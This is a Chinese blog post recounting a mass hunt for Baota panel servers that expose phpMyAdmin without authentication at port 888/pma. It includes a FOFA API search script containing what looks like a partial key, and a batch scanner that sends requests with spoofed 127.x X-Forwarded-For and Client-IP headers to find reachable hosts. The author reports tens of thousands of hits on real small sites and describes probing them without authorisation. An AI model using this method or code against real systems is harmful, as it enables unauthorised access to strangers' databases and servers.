昨天晚上大概六七點種群里爆出來的消息,,從fofa上面找了幾個都不行,以為是假的,,就沒太在意,后來不少群友都復現成功,(他們從shodan上面,成功率非常高),遂引起重視
眾所周知,騰訊雲一直和寶塔面板很配,並且像寶塔面板這種知名度還可以的網站搭建平台,應該會造成比較大的影響,於是開始了挖洞之旅;
最開始的思路是fofa加py腳本,從fofa官方給的api上面直接獲取裝了寶塔面板的url(腳本在文章末尾會上傳,需要fofa的會員),但是發現漏洞的復現成功率很低,很多404(這里確實佩服寶塔工作人員的提醒漏洞修補效率,聽說還特地給用戶發了短信,算是保住了名譽,國民的網絡安全意識也算有所提高),並且fofa上面獲取的url太少,每次只能獲取100條,遂和群里的前輩大佬貓叔請教,給出了先用SYN掃描器(這里舉例:比如說TCP port scann好像是叫這個名字 還有就是 xdedic ip scan 這個或者 zmap 也可以,不過最好不要用 namp ,不是不行,nmap很優秀,只是這里不適用 )掃IP段開發888端口的主機,然后再寫個py腳本拼接IP:888/pma,再請求,如果返回狀態碼 200 則極大可能存在漏洞。這個思路效率比較高,大概七個小時左右,端口掃描器沒掃完,掃出來七萬多開放888端口的漏洞,然后再放在腳本里篩選下,出來很多很多成功的,不過大多都是些小站,個人博客,個人商城,小公司,游戲平台,視頻平台等等,,沒咋看,,之后就沒啥意思了。這里記錄下學習到的知識和欠缺待學習的知識。
學習到的知識:
①主要是挖洞的思路,端口型漏洞,直接用端口掃描器掃IP段就行
②有時候刷漏洞倒沒什么意思,學不到什么實在的知識
欠缺的部分:
①這次挖洞,深切感知到知識儲備的重要,第一時間知道漏洞之后,直接py寫腳本批量跑,學好python確實很重要,以后還需要多加強;
②在將IP解析為域名的時候,需要自己寫個爬蟲,這倒不難,難得爬下來的東西需要正則匹配獲取內容,正則我一直使用的不是很熟練,不過最近很多方面都應用到了,所以一定要強化正則匹配
③有時間還得向前輩請教請教如何批量IP反查域名,不知道是不是我這么用爬蟲requests拼接請求,正則匹配獲取域名
記錄一些不錯的通過IP反查域名的網站:
https://site.ip138.com/ 很好用的IP反查域名網站,網上不少網站根本查不出來,就是個幌子
http://stool.chinaz.com/Same/ 其次推薦站長之家,這個就不用說了
https://tools.ipip.net/ipdomain.php 這個網站也非常優秀,IP反查域名准確率高
附上fofa獲取網站搭建使用寶塔面板的網站腳本
import requests import json class Client: def __init__(self): self.email = ' ' self.key = ' ' self.base_url = 'https://fofa.so' self.login_url = '/api/v1/info/my' self.search_url = '/api/v1/search/all' self.get_userinfo() def get_userinfo(self): api_full_url = '%s%s' % (self.base_url , self.login_url) param = {'email':'axom','key':'bbedf840c'} //這里得填 fofa VIP 會員賬號的 郵箱 和 key res = self.__http_get(api_full_url,param) # print(res.encoding) return res #源代碼 return json.loads(res) def get_data(self,query_str,page=1,fields=""): res = self.get_json_data(query_str,page,fields) # print(res) return res #源代碼 return json.loads(res) def get_json_data(self,query_str,page=1,fields=""): api_full_url = '%s%s' % (self.base_url,self.search_url) # print(api_full_url) param = {'email':self.email,'key':self.key,'qbase64':'5ZCO5Y+w55m75b2V','page':1,'fields':fields} //這里沒改,應該把base64的值也改了 res = self.__http_get(api_full_url,param) # print(res) return res def __http_get(self,url,param): url = '%s?%s' % (url,param) # print(url) try: res = requests.get(url,params=param) # print(res) except: print('出錯!!!') return res # # Client() query_str = 'app=寶塔面板' #在此處修改關鍵詞 同時還應修改所對應的base64的值!!!! data = Client().get_data(query_str,page=2,fields="host") a = data.text # a.encode(encoding='utf-8') # print(a) a = json.loads(data.text) #返回的數據被默認轉換成了str格式,需要轉換為dict(字典)格式!!! s = a['results'] for result in s: print("%s" % (result)) print(len(s)) # by simple
#新思路,通過namp或者其他類的端口掃描器批量掃描IP段,然后在寫個腳本訪問,看看域名是否存在 import requests import random def random_headers():#生成隨機headers user_agent = ['Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0', 'Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre', 'Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60', 'Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5'] UA = random.choice(user_agent) a = str(random.randint(1, 255)) b = str(random.randint(1, 255)) c = str(random.randint(1, 255)) random_XFF = '127.' + a + '.' + b + '.' + c random_CI= '127.' + c + '.' + a + '.' + b headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'User-Agent': UA, 'X-Forwarded-For': random_XFF, 'Client-IP':random_CI, 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.8', "Referer": "http://www.baidu.com/", 'Content-Type': 'application/x-www-form-urlencoded'} return headers for line in open('cunhuoip.txt', 'r'): # 打開文件 rs = line.replace('\n', '') # 替換換行符 # print(rs) # 顯示替換后的行 # r.encoding = 'utf-8' rs = 'http://' + rs + ':888/pma' try : r = requests.get(url=rs, headers=random_headers(), timeout=5) if (r.status_code == 200): print(rs) file = open('result.txt', mode='w') file.write(rs) file.write('\n') # 將回車寫入txt文件中 else: print('not okk ') except: print('error!!')